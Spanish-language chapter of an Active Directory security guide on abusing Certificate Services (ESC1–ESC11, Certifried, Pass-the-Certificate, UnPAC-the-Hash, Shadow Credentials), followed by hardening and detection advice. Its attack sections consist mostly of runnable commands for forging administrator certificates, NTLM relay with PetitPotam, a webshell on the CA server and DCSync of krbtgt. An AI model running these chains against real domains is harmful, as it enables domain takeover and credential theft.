Panorama#
Active Directory Certificate Services (AD CS) es la PKI (Public Key Infrastructure, la infraestructura de clave pública) del dominio: el rol de Windows Server que emite y gestiona los certificados con los que usuarios y máquinas se autentican, cifran archivos o firman código. Es un componente de confianza por diseño, y ahí está el problema. Un certificado de cliente es una credencial de pleno derecho: mediante PKINIT —la extensión de Kerberos que permite el arranque de sesión con criptografía de clave pública en lugar de una contraseña— un certificado válido se canjea por un TGT (Ticket Granting Ticket), y con ese TGT el titular es, a todos los efectos, el usuario que el certificado representa. Si un atacante consigue que la autoridad certificadora (CA, Certificate Authority) emita un certificado a nombre de un administrador de dominio, obtiene Domain Admin sin tocar una sola contraseña.
Esa es la razón por la que AD CS se convirtió, desde la investigación de SpecterOps de 2021, en una de las rutas preferidas a la toma del dominio. Es una ruta limpia, porque un certificado es autenticación legítima y su uso no dispara las alarmas de un volcado de credenciales; y es una ruta persistente, porque un certificado sobrevive al cambio de contraseña del usuario que representa. El cheat-sheet de origen lo dice sin rodeos: “estos certificados seguirán siendo usables incluso si el usuario o la máquina resetea su contraseña”. Un certificado robado o forjado concede acceso durante toda su vigencia —años— e inmune a la rotación de contraseñas, la forma de persistencia sigilosa por excelencia.
SpecterOps catalogó las configuraciones débiles de AD CS con la nomenclatura ESC (ESCalation), de ESC1 a ESC11. Conviene no memorizarlas como once ataques distintos sino verlas convergiendo sobre un eje: casi todas buscan que la CA emita un certificado cuyo Subject Alternative Name (SAN, el campo que declara la identidad del titular) sea un usuario privilegiado que el atacante no controla. El punto de partida es el mapa del dominio de 4.1 · Reconocimiento de AD —BloodHound ya modela las aristas de AD CS— y, para la ruta sin credenciales, la coerción y el relay de 4.3 · NTLM: captura, relay y coerción. El punto de llegada es un TGT privilegiado y, con frecuencia, el DCSync de 4.5 · Credential dumping.
flowchart TD
A["Enumerar AD CS\n(Certify / certipy find)"] --> B{"¿Qué misconfiguración\naparece?"}
B -->|"Plantilla con\nENROLLEE_SUPPLIES_SUBJECT"| C["ESC1: pedir cert\ncon SAN = Domain Admin"]
B -->|"Flag EDITF_...SAN2\nen la CA"| D["ESC6: SAN arbitrario\nen cualquier plantilla"]
B -->|"Control sobre la\nplantilla o la CA"| E["ESC4 / ESC7:\nreconfigurar → ESC1"]
B -->|"Web Enrollment\npor HTTP"| F["ESC8: coerción (4.3)\n+ relay al endpoint"]
C --> G["Certificado a nombre\nde un DA"]
D --> G
E --> G
F --> H["Certificado del DC"]
G --> I["PKINIT: cert → TGT\n(Rubeus asktgt /certipy auth)"]
H --> I
I --> J["Autenticado como el titular\n→ DCSync (4.5)"]Enumerar la PKI: hallar plantillas vulnerables antes que el adversario#
La primera acción, tanto en ofensiva como en defensa, es inventariar la PKI y sus plantillas para ver qué ESC están presentes. Las mismas herramientas sirven a ambos lados: Certify (en Windows) y certipy (en Linux) recorren las plantillas de certificado, sus EKU (Extended Key Usage, los usos que el certificado habilita) y sus permisos de enrolamiento, y marcan las combinaciones explotables. Correr esta enumeración uno mismo es la defensa primaria, porque convierte una superficie invisible en una lista concreta de plantillas a corregir.
# Descubrir AD CS y plantillas vulnerables (defensa y ofensiva usan lo mismo)
crackmapexec ldap dominio.local -u usuario -p 'contraseña' -M adcs
# Windows
Certify.exe find /vulnerable
# Linux — genera además un grafo para BloodHound
certipy find -u usuario@dominio.local -p 'contraseña' -dc-ip <IP-DC> -vulnerable -stdout
certipy find -u usuario@dominio.local -p 'contraseña' -dc-ip <IP-DC> -bloodhound
El SAN arbitrario: la falla central de la familia ESC#
La mayoría de los ESC son variaciones sobre una sola idea: conseguir que el certificado emitido declare un
Subject Alternative Name que el atacante elige, en vez del que le corresponde. Si el SAN dice
administrator@dominio.local, el certificado autentica como el administrador. Lo que cambia entre un ESC y otro
es cómo se logra que la CA acepte ese SAN falso.
ESC1 es el caso canónico. Una plantilla de autenticación de cliente marcada con el flag
ENROLLEE_SUPPLIES_SUBJECT deja que el solicitante fije el subject —y con él el SAN— libremente. Si además el
atacante tiene permiso de enrolamiento sobre esa plantilla, pide un certificado especificando el SAN de un
Domain Admin y se autentica como él. Basta una sola solicitud.
# ESC1 — pedir un cert con SAN arbitrario y canjearlo por un TGT
# Windows
Certify.exe request /ca:dc.dominio.local\dominio-DC-CA /template:VulnTemplate /altname:Administrator
Rubeus.exe asktgt /user:Administrator /certificate:C:\Temp\cert.pfx /ptt
# Linux
certipy req 'dominio.local/john:Passw0rd!@ca.dominio.local' -ca 'dominio-DC-CA' \
-template VulnTemplate -upn administrator@dominio.local
certipy auth -pfx administrator.pfx -dc-ip <IP-DC>
El resto de la familia del SAN son variantes del mismo desenlace por otras vías:
- ESC2 — la plantilla tiene un EKU Any Purpose (
2.5.29.37.0), que la habilita para autenticación de cliente entre otros usos; se explota igual que ESC1. - ESC3 — la plantilla concede el EKU Enrollment Agent, que autoriza a pedir certificados en nombre de otros. El atacante obtiene primero su certificado de agente y luego solicita, con él, un certificado a nombre de un administrador.
- ESC4 — el atacante no controla una plantilla vulnerable, pero sí tiene permiso de escritura
(
WriteProperty) sobre alguna plantilla. La reconfigura para agregarleENROLLEE_SUPPLIES_SUBJECT, la explota como ESC1, y la restaura para borrar rastros. Es ESC1 fabricado a demanda. - ESC6 — el flag
EDITF_ATTRIBUTESUBJECTALTNAME2está activo en la CA misma. Ese flag habilita el SAN definido por el usuario en cualquier plantilla, no solo en las mal configuradas, de modo que convierte a toda plantilla de autenticación en un ESC1. - ESC7 — el atacante tiene permisos de gestión sobre la CA (
ManageCAoManage Certificates). Con ellos puede habilitar el flag de ESC6, aprobar sus propias solicitudes pendientes, o —lo más grave— escribir un webshell en el servidor de AD CS, es decir ejecución remota de código sobre la CA.
# ESC7 — con ManageCA: habilitar SAN arbitrario, o RCE por webshell
Certify.exe setconfig /enablesan /restart
Certify.exe request /ca:SERVER\ca-name /template:User /altname:Administrator
# ManageCA → RCE sobre el servidor de la CA
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
La ruta sin credenciales: coerción y relay a AD CS (ESC8 y ESC11)#
Los ESC anteriores parten de una cuenta de dominio con permiso de enrolamiento. ESC8 elimina incluso ese
requisito: no necesita ninguna credencial, solo la combinación de coerción y relay de
4.3 · NTLM. La condición es que la CA exponga su interfaz de enrolamiento web (Web
Enrollment) sobre HTTP, un endpoint que por defecto no exige channel binding. El atacante coacciona a un
controlador de dominio con PetitPotam para que se autentique contra él, y con ntlmrelayx retransmite esa
autenticación al endpoint web de la CA para enrolar un certificado del propio DC. Con ese certificado pide
un TGT del DC por PKINIT, y con el TGT del DC ejecuta DCSync: dominio completo, desde cero credenciales.
# ESC8 — relay del DC coaccionado hacia el Web Enrollment → cert del DC → TGT → DCSync
# 1) Listener de relay apuntando al endpoint web de la CA
ntlmrelayx.py -t http://<IP-CA>/certsrv/certfnsh.asp -smb2support --template DomainController
# 2) Coerción del DC (MS-EFSRPC) hacia el atacante
PetitPotam.py -d dominio.local -u usuario -p 'contraseña' <IP-atacante> <IP-DC>
# 3) Canjear el cert del DC por un TGT e inyectarlo, luego DCSync
Rubeus.exe asktgt /user:DC01$ /certificate:<b64-cert> /ptt
mimikatz # lsadump::dcsync /user:krbtgt
Existen múltiples implementaciones de la misma cadena —desde el misc::efs de mimikatz con kekeo hasta el
certipy relay, pasando por krbrelayx (relay de Kerberos) y ADCSPwn— pero la lógica es siempre la misma:
una autenticación de máquina coaccionada, relayeada a un endpoint de enrolamiento que la acepta.
ESC11 es la variante para cuando el Web Enrollment por HTTP no está presente pero sí lo está el endpoint RPC
de enrolamiento (ICPR, la interfaz ICertPassage). Si ese endpoint no exige cifrado del canal (“Enforce
Encryption for Requests” deshabilitado), la misma autenticación relayeada sirve para enrolar un certificado por
RPC. Requiere los forks de certipy/impacket que implementan el modo ICPR.
# ESC11 — relay al endpoint RPC de enrolamiento sin cifrado
certipy find -u usuario@<IP-DC> -p '...' -dc-ip <IP-DC> -stdout # buscar "Enforce Encryption: Disabled"
ntlmrelayx.py -t rpc://<IP-CA> -rpc-mode ICPR -icpr-ca-name dominio-DC-CA -smb2support
ESC9: el enlace débil entre certificado e identidad#
ESC9 explota una plantilla marcada como sin extensión de seguridad (CT_FLAG_NO_SECURITY_EXTENSION), es
decir, un certificado que no incrusta el object SID del titular. Cuando el DC no exige que el SID del
certificado coincida con el de la cuenta, la identidad del certificado se resuelve por su userPrincipalName
(UPN). Si el atacante tiene GenericWrite sobre una cuenta que puede enrolar en esa plantilla, cambia
temporalmente el UPN de esa cuenta al de un administrador, pide el certificado, y luego restaura el UPN
original: el certificado resultante autentica como el administrador.
# ESC9 — abusar de GenericWrite + UPN mutable, sin object SID en el cert
certipy shadow auto -username john@dominio.local -p 'Passw0rd' -account jane # tomar control de jane
certipy account update -username john -password 'Passw0rd' -user jane -upn Administrator
certipy req -username jane@dominio.local -hashes ... -ca dominio-DC-CA -template ESC9 # UPN=Administrator
certipy account update -username john -password 'Passw0rd' -user jane -upn jane@dominio.local # restaurar
certipy auth -pfx administrator.pfx -domain dominio.local # → NT hash de Administrator
ESC9 es exactamente el escenario que la mitigación StrongCertificateBindingEnforcement=2 cierra, al obligar a
que el SID incrustado en el certificado coincida con el de la cuenta autenticada — se retoma en la defensa.
Certifried: forjar el certificado de un DC (CVE-2022-26923)#
Certifried (CVE-2022-26923) no depende de ninguna plantilla mal configurada, sino de un fallo en cómo AD CS
resolvía la identidad de las cuentas de máquina. Un usuario de dominio corriente puede crear cuentas de máquina
(hasta el límite de MachineAccountQuota) y editar el atributo dNSHostName de las cuentas que crea. El
atacante crea una cuenta de máquina propia y le fija como dNSHostName el nombre DNS de un controlador de
dominio. Al pedir un certificado con la plantilla Machine para su cuenta, la CA resuelve la identidad por ese
dNSHostName manipulado y emite un certificado válido como el DC.
# Certifried — cuenta de máquina propia con el dNSHostName de un DC → cert del DC
certipy account create 'dominio.local/usuario:contraseña@dc.dominio.local' -user 'cve' -dns dc.dominio.local
certipy req 'dominio.local/cve$:CVEPassword1234*@<IP-CA>' -template Machine -dc-ip <IP-DC>
certipy auth -pfx dc.pfx -dc-ip <IP-DC>
Microsoft corrigió Certifried incrustando el object SID en los certificados y exigiendo su verificación,
mediante los mismos parches de mayo de 2022 que introdujeron StrongCertificateBindingEnforcement.
PKINIT como palanca transversal: Pass-the-Certificate y UnPAC-the-Hash#
Todos los ESC terminan en lo mismo: un archivo .pfx con un certificado y su clave privada. Convertir ese
certificado en autenticación de Kerberos es Pass-the-Certificate: se presenta el certificado al DC por PKINIT
y se recibe un TGT del titular. Es el paso final común a toda la familia y a Shadow Credentials.
# Pass-the-Certificate — cert → TGT por PKINIT
Rubeus.exe asktgt /user:"objetivo" /certificate:cert.pfx /password:"..." /ptt # Windows
gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass "..." "dominio.local/objetivo" salida.ccache # Linux
certipy auth -pfx cert.pfx -dc-ip <IP-DC>
UnPAC-the-Hash exprime un dato adicional del mismo intercambio. Durante el arranque de sesión PKINIT, el DC devuelve el NT hash del usuario dentro del PAC (Privilege Attribute Certificate, la estructura donde Kerberos transporta las autorizaciones), cifrado con la clave de sesión de la respuesta AS. Al recuperar esa clave, el atacante extrae el NT hash del usuario a partir únicamente de su certificado. Así, un certificado no solo da un TGT efímero sino también el hash reutilizable de la víctima —el que sirve para Pass-the-Hash de 4.2 · Kerberos y 4.5 · Credential dumping— cerrando el círculo entre la ruta de certificados y la de credenciales.
# UnPAC-the-Hash — del cert, recuperar el NT hash del usuario
Rubeus.exe asktgt /getcredentials /user:"objetivo" /certificate:"B64_CERT" # Windows
gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass "..." "dominio.local/objetivo" out.ccache
getnthash.py -key '<AS-REP key>' dominio.local/objetivo # Linux
Shadow Credentials: persistencia por PKINIT vía un atributo escribible#
Shadow Credentials invierte la lógica: en lugar de pedir un certificado a la CA, el atacante inyecta su
propia clave pública en el objetivo. El atributo msDS-KeyCredentialLink de un objeto de AD almacena las
claves públicas con las que ese objeto puede autenticarse por PKINIT (es el mecanismo detrás de Windows Hello
for Business). Quien pueda escribir en el msDS-KeyCredentialLink de una cuenta le agrega una clave que
controla, y desde ese momento se autentica por PKINIT como esa cuenta y obtiene su TGT o su NT hash —sin
conocer su contraseña y sin cambiarla.
La asimetría clave está en quién puede escribir ese atributo: las cuentas de usuario no pueden editar su
propio msDS-KeyCredentialLink, pero las cuentas de máquina sí (mientras no haya ya una clave presente).
Combinado con la escritura de permisos que concede el relay o con la coerción de
4.3 · NTLM, Shadow Credentials permite tomar workstations y controladores de dominio. Exige
un DC de nivel 2016 o superior y AD CS presente en el dominio (la infraestructura PKINIT).
# Shadow Credentials — inyectar una clave en msDS-KeyCredentialLink del objetivo
Whisker.exe add /target:"objetivo$" /domain:dominio.local /dc:dc.dominio.local # Windows
pywhisker.py -d dominio.local -u usuario -p 'contraseña' --target 'objetivo$' --action add # Linux
# Vía relay: escribir el atributo con una autenticación coaccionada (ver 4.3)
ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
Como arista de grafo, Shadow Credentials aparece modelada en BloodHound (ver
4.1 · Reconocimiento de AD): cualquier control de escritura sobre msDS-KeyCredentialLink es
una arista AddKeyCredentialLink que lleva directo a la toma del objeto.
Defensa y detección#
La defensa de AD CS empieza por una postura activa, no por una regla de detección: correr Certify o certipy find uno mismo, con periodicidad, para descubrir y remediar las plantillas y la configuración de CA vulnerables antes que el adversario. La mayoría de los ESC desaparecen cerrando su misconfiguración de origen.
- Endurecer las plantillas y la CA. Quitar
ENROLLEE_SUPPLIES_SUBJECT(el flag ESS) de las plantillas de autenticación mata ESC1; removerEDITF_ATTRIBUTESUBJECTALTNAME2de la CA (certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2) mata ESC6; restringir los permisosManageCA/Manage Certificatesa administradores de PKI cierra ESC7; exigir aprobación manual del gestor de certificados para plantillas sensibles añade un control humano. - Cerrar la ruta sin credenciales. Deshabilitar el Web Enrollment por HTTP, o exigirle EPA (Extended Protection for Authentication, el channel binding que ata la sesión TLS a la autenticación), anula ESC8; habilitar “Enforce Encryption for Requests” en el endpoint RPC anula ESC11. Ambas son, en el fondo, el mismo principio que el signing de 4.3 · NTLM: impedir que una autenticación se retransmita a un canal distinto del original.
- Enlazar fuerte certificado e identidad.
StrongCertificateBindingEnforcement=2en los DC obliga a que el object SID incrustado en el certificado coincida con el de la cuenta autenticada, lo que cierra ESC9 y neutraliza Certifried en los dominios ya parcheados. Es la contramedida estructural del enlace débil entre certificado y cuenta. - Detección en telemetría. La CA registra cada solicitud y emisión de certificado en los Event ID 4886
(solicitud recibida) y 4887 (certificado emitido). La señal de alto valor es un SAN que no coincide con
el solicitante: un certificado emitido a nombre de un administrador pero pedido por una cuenta corriente es
la firma directa de ESC1/ESC6. La escritura sobre el atributo
msDS-KeyCredentialLink(Event ID 5136, modificación de objeto de directorio) delata Shadow Credentials casi sin falsos positivos, porque fuera de Windows Hello for Business ese atributo rara vez cambia. Y una autenticación PKINIT anómala (Event ID 4768, emisión de TGT, con información de certificado) señala un Pass-the-Certificate en curso.
El mapeo defensivo consolidado de toda la superficie de Active Directory —las reglas SIEM, la correlación de estos eventos con la línea base y los playbooks de respuesta, incluida la revocación de certificados que un incidente de AD CS obliga a ejecutar además de la rotación de contraseñas— se desarrolla en 4.9 · Defensa de AD.
Referencias#
red-infra/ad-attacks/cap-07— AD CS (ESC1–ESC11), Certifried, Pass-the-Certificate, UnPAC-the-Hash y Shadow Credentials.- SpecterOps — Certified Pre-Owned: Abusing Active Directory Certificate Services (Will Schroeder y Lee Christensen, 2021), el estudio que definió la taxonomía ESC.
- CVE-2022-26923 — Certifried: elevación de privilegios por manipulación de
dNSHostNameen AD CS. - MITRE ATT&CK — T1649 Steal or Forge Authentication Certificates.
- Microsoft — KB5014754, Certificate-based authentication changes (
StrongCertificateBindingEnforcement) y guía de endurecimiento del Web Enrollment (EPA).